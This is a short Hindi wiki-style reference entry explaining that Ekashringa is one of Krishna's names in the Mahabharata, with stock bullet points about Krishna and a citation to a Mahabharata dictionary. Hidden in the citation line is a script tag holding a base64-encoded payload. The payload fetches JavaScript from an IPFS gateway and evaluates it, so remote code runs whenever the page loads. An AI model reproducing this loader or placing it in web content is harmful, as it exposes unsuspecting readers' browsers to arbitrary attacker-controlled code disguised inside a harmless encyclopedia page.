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*कृष्ण [[हिन्दू धर्म]] में [[विष्णु]] के [[अवतार]] माने जाते हैं।
 
*कृष्ण [[हिन्दू धर्म]] में [[विष्णु]] के [[अवतार]] माने जाते हैं।
*श्रीकृष्ण साधारण व्यक्ति न होकर युग पुरुष थे। उनके व्यक्तित्व में [[भारत]] को एक प्रतिभा सम्पन्न राजनीतिवेत्ता ही नहीं, एक महान कर्मयोगी और दार्शनिक प्राप्त हुआ, जिसका '[[गीता]]' ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है।
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*श्रीकृष्ण साधारण व्यक्ति न होकर युग पुरुष थे। उनके व्यक्तित्व में [[भारत]] को एक प्रतिभा सम्पन्न राजनीतिवेत्ता ही नहीं, एक महान् कर्मयोगी और दार्शनिक प्राप्त हुआ, जिसका '[[गीता]]' ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है।
 
*[[कृष्ण|भगवान श्रीकृष्ण]] की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है।
 
*[[कृष्ण|भगवान श्रीकृष्ण]] की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है।
  

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Disamb2.jpg एकशृंग एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- एकशृंग (बहुविकल्पी)

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एकशृंग हिन्दू मान्यताओं और पौराणिक महाकाव्य महाभारत के उल्लेखानुसार भगवान श्रीकृष्ण के कई नामों में से एक है।

  • कृष्ण हिन्दू धर्म में विष्णु के अवतार माने जाते हैं।
  • श्रीकृष्ण साधारण व्यक्ति न होकर युग पुरुष थे। उनके व्यक्तित्व में भारत को एक प्रतिभा सम्पन्न राजनीतिवेत्ता ही नहीं, एक महान् कर्मयोगी और दार्शनिक प्राप्त हुआ, जिसका 'गीता' ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है।
  • भगवान श्रीकृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है।


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टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस. पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 27 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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